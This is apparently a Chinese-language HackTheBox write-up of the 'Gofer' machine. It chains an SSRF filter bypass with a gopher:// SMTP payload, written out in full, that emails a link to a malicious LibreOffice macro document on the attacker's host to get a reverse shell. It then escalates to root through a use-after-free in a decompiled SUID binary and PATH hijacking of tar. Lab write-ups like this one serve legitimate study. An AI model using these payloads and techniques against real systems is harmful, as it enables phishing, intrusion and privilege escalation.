Gofer-HackTheBox

土拨鼠带我回忆了一波CSAPP实验

信息收集

端口扫描

smb共享

暴露了shares目录

获取到了一个mail

内容是在提示钓鱼风险,重要的内容都通过邮件在内部发送。靶机又开着一个SMTP端口,状态是filtered,我有点感觉是要通过SSRF来打。

网站

界面上没有什么功能,都是前端页面

目录爆破

只有一些前端文件

虚拟主机爆破

gobuster全是301,而且我还找不到屏蔽301的参数

使用ffuf试一下,找到了一个proxy.gofer.htb

Get User Flag

proxy.gofer.htb

因为是htb,不太想爆破账号密码。先看看目录把

那就只能爆破了,根据之前的邮件,可以看出他们用自己的姓名做的用户名。

加上官网暴露的姓名,先爆一下这几个人

401认证爆破

最后设置Base64编码和不通过URL编码

柳暗花明

没招了,看看官方论坛。作者好像想让我们猜

看到了跟我一样被401卡住的哥们,提示用其他的请求方式

真就有个index.php,确实需要guess…

SSRF

提示需要URL参数,这里给我的感觉就是SSRF了

过滤了127,简单绕过一下

将IP转成十六进制,可以成功回显

File协议也被黑名单了

SSRF打SMTP

之前就想过这台靶机可能是SSRF打SMTP。简单了解一下,可以通过Gopher去发邮件

但这有什么用呢?后来想起这封邮件的内容,提到了Jocelyn 会随便点击别人发给她的邮件。而且建议以后的重要文档都通过.odt格式在内部邮件传输。并且提示了他们使用的是Libreoffice

Libreofiice宏文件钓鱼

马上开始写邮件钓鱼

找到了一个生成Libreofiice恶意宏反弹shell的项目

生成木马

通过gopher打SMTP

1
gopher%3A%2F%2F0x7f000001%3A25%2F_HELO%20gofer.htb%250AMAIL%20FROM%3A%20%3Croot%40gofer.htb%3E%250ARCPT%20TO%3A%20%3Cjhudson%40gofer.htb%3E%250ADATA%250ASubject%3A%20%3Ca%20http%3A%2F%2F10.10.16.76%3A8000%2Ftest.odt%3EGofer%20Important%20news%3C%2Fa%3E%250ASSRF%20AND%20SMTP%250A.

靶机确实来获取test.odt了,但是没有成功反弹shell。

后面看了一下,macro-generator好像只是生成宏文件里的恶意语句。需要我们自己生成文件

后来又找了这篇文章:https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html

但需要一个图形化界面的Libreoffice,,开了台Ubuntu

设置成打开文档时自动执行宏

再次通过gopher打SMTP

1
gopher%3A%2F%2F0x7f000001%3A25%2F_HELO%20gofer.htb%250AMAIL%20FROM%3A%20%3Croot%40gofer.htb%3E%250ARCPT%20TO%3A%20%3Cjhudson%40gofer.htb%3E%250ADATA%250ASubject%3A%20%3Ca%20http%3A%2F%2F10.10.16.76%3A8000%2Ftest.odt%3EGofer%20Important%20news%3C%2Fa%3E%250ASSRF%20AND%20SMTP%250A.

成功

Get Root Flag

linpeas没什么有用的信息

pspy可以看到root一直在运行脚本,并且看到了疑似 tbuckley 的密码

确实是

之后linpeas又扫了一遍,这个软件其实在jhudson的时候就发现了,但没权限。现在tbuckley是dev组的,可以执行看看

功能如下图,感觉并不能做什么。备份笔记需要admin角色

但是感觉这个软件应该是突破口,毕竟它是root SUID的,这时候想到反编译,看看代码逻辑能否利用

把软件下载下来

使用Ghidra反编译出源码:https://github.com/NationalSecurityAgency/ghidra

notes代码解读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
void main(void)
{
__uid_t _Var1;
int iVar2;
undefined4 local_1c;
void *local_18;
void *local_10;

local_1c = 0;
local_10 = (void *)0x0;
local_18 = (void *)0x0;
do {
puts(
"========================================\n1) Create an user and choose an username\n2) Show user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) Save a note (not y et implemented)\n7) Delete a note\n8) Backup notes\n9) Quit\n=============================== =========\n\n"
);
printf("Your choice: ");
__isoc99_scanf(&DAT_0010212b,&local_1c);
puts("");
switch(local_1c) {
default:
/* WARNING: Subroutine does not return */
exit(0);
case 1: // Create an user and choose an username
// 申请内存
local_10 = malloc(0x28);
if (local_10 == (void *)0x0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
memset(local_10,0,0x18);
memset((void *)((long)local_10 + 0x18),0,0x10);
_Var1 = getuid();

if (_Var1 == 0) {
// uid为0则设置这块内存的内容为admin(小端存储)
*(undefined4 *)((long)local_10 + 0x18) = 0x696d6461;
*(undefined *)((long)local_10 + 0x1c) = 0x6e;
}
else {
// 否则设置为user
*(undefined4 *)((long)local_10 + 0x18) = 0x72657375;
}
printf("Choose an username: ");
// 输入用户名再返回信息
__isoc99_scanf(&DAT_00102144,local_10);
puts("");
break;
case 2: // Show user information
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
printf("\nUsername: %s\n",local_10);
printf("Role: %s\n\n",(long)local_10 + 0x18);
}
break;
case 3: // Delete an user
if (local_10 != (void *)0x0) {
free(local_10); // 问题的关键,这里释放了内存,但并没有删除该指针
}
break;
case 4: // Write a note
local_18 = malloc(0x28);
memset(local_18,0,0x28);
if (local_18 == (void *)0x0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Write your note:");
__isoc99_scanf(&DAT_0010218b,local_18);
break;
case 5: // Show a note
printf("Note: %s\n\n",local_18);
break;
case 6: // Save a note (not yet implemented)
puts("Coming soon!\n");
break;
case 7: // Delete a note
if (local_18 != (void *)0x0) {
free(local_18);
local_18 = (void *)0x0;
}
break;
case 8: // Backup notes
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
if (iVar2 == 0) {
puts("Access granted!");
// 使用root权限执行以下tar命令
setuid(0);
setgid(0);
system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
}
else {
puts("Access denied: you don\'t have the admin role!\n");
}
}
}
} while( true );
}

关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
case 3: // Delete an user
if (local_10 != (void *)0x0) {
free(local_10); // 问题的关键,这里释放了内存,但指针local_10还是指向那块地址
}
break;

case 4: // Write a note
// 这里有申请了0x28的地址,其实就是case3删除的那块
local_18 = malloc(0x28);
memset(local_18,0,0x28);
if (local_18 == (void *)0x0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Write your note:");
__isoc99_scanf(&DAT_0010218b,local_18);
break;

case 8: // Backup notes
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
if (iVar2 == 0) {
puts("Access granted!");
// 使用root权限执行以下tar命令
setuid(0);
setgid(0);
system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
}
  1. case3的时候,因为删除了用户,程序使用free(local_10)释放了内存,但指针local_10没有重置,还是指向这块内存
  2. case4的时候,程序通过local_18 = malloc(0x28)又开了一块内存此时local_18 和local_10 指向同一块内存,我们可以通过case 4写一个note,覆盖local_10的内容,让我们的role变成admin
  3. case10的时候通过local_10指向的地址中的内容判断用户是否为admin,是的话就使用root权限指向tar命令

利用过程

  1. case1,随便创建一个用户
  2. case3,删除该用户
  3. case4,前24字节随便写,后面写上admin即可
  4. case8,即可通过root权限指向tar语句

可以看到此时Role已经是admin

执行case9成功

但执行tar有什么用呢?

Linux环境变量劫持提权

原理

Linux会根据环境变量$PATH寻找软件,比如我们执行tar,会去按照这个顺序寻找

  1. /usr/local/bin/tar
  2. /usr/bin/tar
  3. /bin/tar
  4. /usr/local/games/tar
  5. /usr/games/tar
  6. 找不到了

所以我们可以自制一个tar,并且修改环境变量,再通过notes的软件漏洞让root执行恶意tar文件

成功

Summary

User Flag

  1. smb泄露邮件内容
  2. 虚拟主机爆破
  3. POST目录爆破
  4. SSRF打SMTP钓鱼

Root Flag

  1. 监听进程,命令泄露tbuckley 密码
  2. GUID程序notes
  3. 逆向分析notes
  4. Linux环境变量劫持 + notes漏洞提权

Gofer-HackTheBox
http://aurey7.github.io.git/2023/08/06/Gofer-HackTheBox/
作者
Aurey7
发布于
2023年8月6日
许可协议